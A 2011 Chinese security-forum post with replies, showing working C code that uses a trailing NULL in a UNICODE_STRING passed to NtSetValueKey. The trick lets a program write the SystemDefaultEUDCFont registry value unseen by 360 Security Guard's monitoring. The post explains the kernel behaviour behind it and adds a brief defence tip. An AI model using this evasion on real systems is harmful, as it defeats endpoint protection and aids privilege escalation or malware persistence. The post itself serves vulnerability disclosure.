首页
论坛
专栏
课程

[原创]利用一个NULL绕过360注册表监控

2011-4-1 11:47 15901

[原创]利用一个NULL绕过360注册表监控

2011-4-1 11:47
15901
一.测试环境
本次测试所采用的操作系统为中文版Windows XP SP3(使用360安全卫士更新了所有补丁),360安全卫士 7.8.0.1001(备用木马库2011-04-01),360杀毒软件2.0.0.1330(病毒库日期2011-04-01 03:49),计算机处于联网状态,360安全卫士、360杀毒都“已成功连接至360云安全中心”。建立了一个名为admin的管理员用户。

【注意!】本次测试都在管理员下进行。

二.测试

1.测试1

#include <windows.h>

void main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  hKey;

  if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) == ERROR_SUCCESS )
  {
    RegSetValueEx(hKey, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, 0x28);
    RegCloseKey(hKey);
  }
}

编译后运行,360木马防火墙提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。

2.测试2
考虑到RegSetValueEx是位于Advapi32.dll里面的一个函数,不够底层,在RegSetValueEx的执行过程中可能会存在干扰,于是调用ntdll.dll里面的NtSetValueKey。

#include <windows.h>

typedef struct _UNICODE_STRING {
        USHORT        Length;
        USHORT        MaximumLength;
        WCHAR        *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
        IN HANDLE                        KeyHandle,
        IN PUNICODE_STRING        ValueName,
        IN ULONG                        TitleIndex,
        IN ULONG                        Type,
        IN PVOID                        Data,
        IN ULONG                        DataSize
        );
NtSetValueKey_ NtSetValueKey = NULL;

int main()
{
        BYTE        RegBuf[0x28] = {0};
        HKEY        hKey;

        if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
                return FALSE;

        NtSetValueKey                =        (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
        if ( NtSetValueKey == NULL )
                return FALSE;
       
        WCHAR        lpszName[22]                =        L"SystemDefaultEUDCFont";//21个字符

        UNICODE_STRING                ValueName;
        ValueName.Buffer                        =        lpszName;
        ValueName.Length                        =        21 * 2;
        ValueName.MaximumLength                =        21 * 2;

        NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );

        RegCloseKey(hKey);
}

编译后运行,360木马防火墙仍然提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。

【思考】
对于UNICODE_STRING结构体,Length表明了字符串的长度,Buffer指向的字符串不再以NULL表示字符串的结束。回忆很久以前刚开始学习C语言时,书、老师都在强调:字符串末尾是NULL,碰到NULL就说明字符串结束了。于是灵光一闪,如果在UNICODE_STRING里面加个NULL会怎样?

3.测试3
#include <windows.h>

typedef struct _UNICODE_STRING {
        USHORT        Length;
        USHORT        MaximumLength;
        WCHAR        *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
        IN HANDLE                        KeyHandle,
        IN PUNICODE_STRING        ValueName,
        IN ULONG                        TitleIndex,
        IN ULONG                        Type,
        IN PVOID                        Data,
        IN ULONG                        DataSize
        );
NtSetValueKey_ NtSetValueKey = NULL;

int main()
{
        BYTE        RegBuf[0x28] = {0};
        HKEY        hKey;

        if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
                return FALSE;

        NtSetValueKey                =        (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
        if ( NtSetValueKey == NULL )
                return FALSE;
       
        WCHAR        lpszName[22]                =        L"SystemDefaultEUDCFont";//21个字符

        UNICODE_STRING                ValueName;
        ValueName.Buffer                        =        lpszName;
        ValueName.Length                        =        21 * 2 + 2;//长度+2,指明多了一个NULL,这是关键之处!
        ValueName.MaximumLength                =        21 * 2 + 2;//长度+2,指明多了一个NULL

        NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );

        RegCloseKey(hKey);
}
上面代码的关键之处在于ValueName.Length要+2,使得UNICODE_STRING中包含一个NULL。编译后运行,360无任何提示。运行regedit.exe,可以看到HKEY_CURRENT_USER\EUDC\936下面的SystemDefaultEUDCFont数值类型为REG_BINARY,数值数据是一连串的0。

4.nt!NtSetValueKey是怎么处理的?
以ntkrnlpa.exe(5.1.2600.6055)为例,在0x8061A410处开始处理UNICODE_STRING.Buffer所指向的字符串末尾的NULL,有一个NULL就将Length减2,两个就减4,碰到第一个不是NULL的字符为止。这样在传递到nt!CmSetValueKey时,UNICODE_STRING最后面就不包括NULL了,SystemDefaultEUDCFont+NULL变成了SystemDefaultEUDCFont

5.防御建议
对比要保护的数值名称时,请无视Buffer末尾的NULL!

三、参考资料
HKEY_CURRENT_USER\EUDC\936:
Nooby的POC:http://www.debugman.com/discussion/5767/
英文文档http://www.security.nl/files/Bypass_UAC.pdf

UNICODE_STRING:《天书夜读:从汇编语言到Windows内核编程》P40

nt!NtSetValueKey:IDA反汇编分析或WRK

[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (27)
b23526 2011-4-1 11:59
2
0
不错不错,收藏之
ghban 2011-4-1 12:04
3
0
妙!精彩的文章
kgzda 2011-4-1 12:08
4
0
或者不用到是更简单些
邓韬 9 2011-4-1 12:20
5
0
鄙视楼主抄袭我的代码和文章
KiDebug 4 2011-4-1 12:26
6
0
不知抄了LS哪篇?给个URL吧
邓韬 9 2011-4-1 12:51
7
0
没事,专找你们这些高调歌的茬
孤行有你 2011-4-1 16:53
8
0
mark z...
wandev 2011-4-1 17:30
9
0
膜拜了,收藏一下
痞子辉 1 2011-4-1 18:03
10
0
debugman上面的应该是原作者的吧。。。
QEver 5 2011-4-1 18:10
11
0
LZ的文章都是pediy和debugman同步发行的~~
mumaren 2011-4-1 21:02
12
0
膜拜了,收藏一下
广海混沌 2011-4-1 21:22
13
0
呵呵 值得关注一下
AntBean 9 2011-4-1 21:35
14
0
写的很好。。
KiDebug 4 2011-4-1 21:40
15
0
从LZ的ID和头像可以判断得出:LZ一稿多投了。
starrysky 2011-4-2 12:58
16
0
http://technet.microsoft.com/en-us/sysinternals/dd581628
KiDebug 4 2011-4-2 18:33
17
0
咳,亏我还在瞎猫碰上死耗子沾沾自喜,原来早就有了。。
Gall 2011-4-3 00:38
18
0
感觉你的思路不错,但是为什么我自己测试时,第一种方案,360都没有阻拦呢?

【系统】:Microsoft Windows XP Professional 版本 2002 Service Pack 3
【360杀毒】:程序版本2.0.0.1331 病毒库日期2011-04-02
【360安全卫士】:主程序版本7.8.0.1001 备用木马库2011-04-02

[
#include <Windows.h>
#include <TCHAR.H>

void main()
{
	BYTE RegBuf[0x28]={0};
	HKEY hKey;

	if(RegOpenKey(HKEY_CURRENT_USER,_T("EUDC\\936"),&hKey) == ERROR_SUCCESS)
	{
		RegSetValueEx(hKey,_T("SetDefaultEUDCFont"),0,REG_BINARY,RegBuf,0x28);
		RegCloseKey(hKey);
	}
}


希望大家也测试一下,看看是否跟我测试的一样,如果不同,请在下面留言,大家深入研究一下....
上传的附件:
qweee 2011-4-3 07:43
19
0
过来学习一下,感谢 分享!
benxue 2011-4-3 12:08
20
0
不错
KiDebug 4 2011-4-3 20:57
21
0
因为你是设置“SetDefaultEUDCFont”,而不是“SystemDefaultEUDCFont”,所以360不拦。

在HKEY_CURRENT_USER\EUDC\936下无论新建、修改什么值,只要名称不是“SystemDefaultEUDCFont”的话都不会拦。

另外在测试的时候,需要保持联网状态。断网的话无论做什么360都不管,这很让人不解。
yy大雄 2011-4-4 09:33
22
0
LZ 哪个时候上360啊

天天帮找洞
Osleti 2011-4-7 15:36
23
0
那是因为断网了就没有连接到他们的云安全服务器....
毁灭 2 2011-6-12 19:36
24
0
呵 楼主公布后 这个方法相信也用不了多久了
yangxingyu 2011-6-13 08:13
25
0
LZ其实不应该发出来,这样不和谐
pilyuxia 2011-6-13 09:26
26
0
小技巧发挥大效应,学习学习!
幽灵娃娃 2011-6-13 14:59
27
0
程序代码编译出错求附件。
KiDebug 4 2011-6-13 20:18
28
0
百度一下:vc6 unicode
游客
登录 | 注册 方可回帖
返回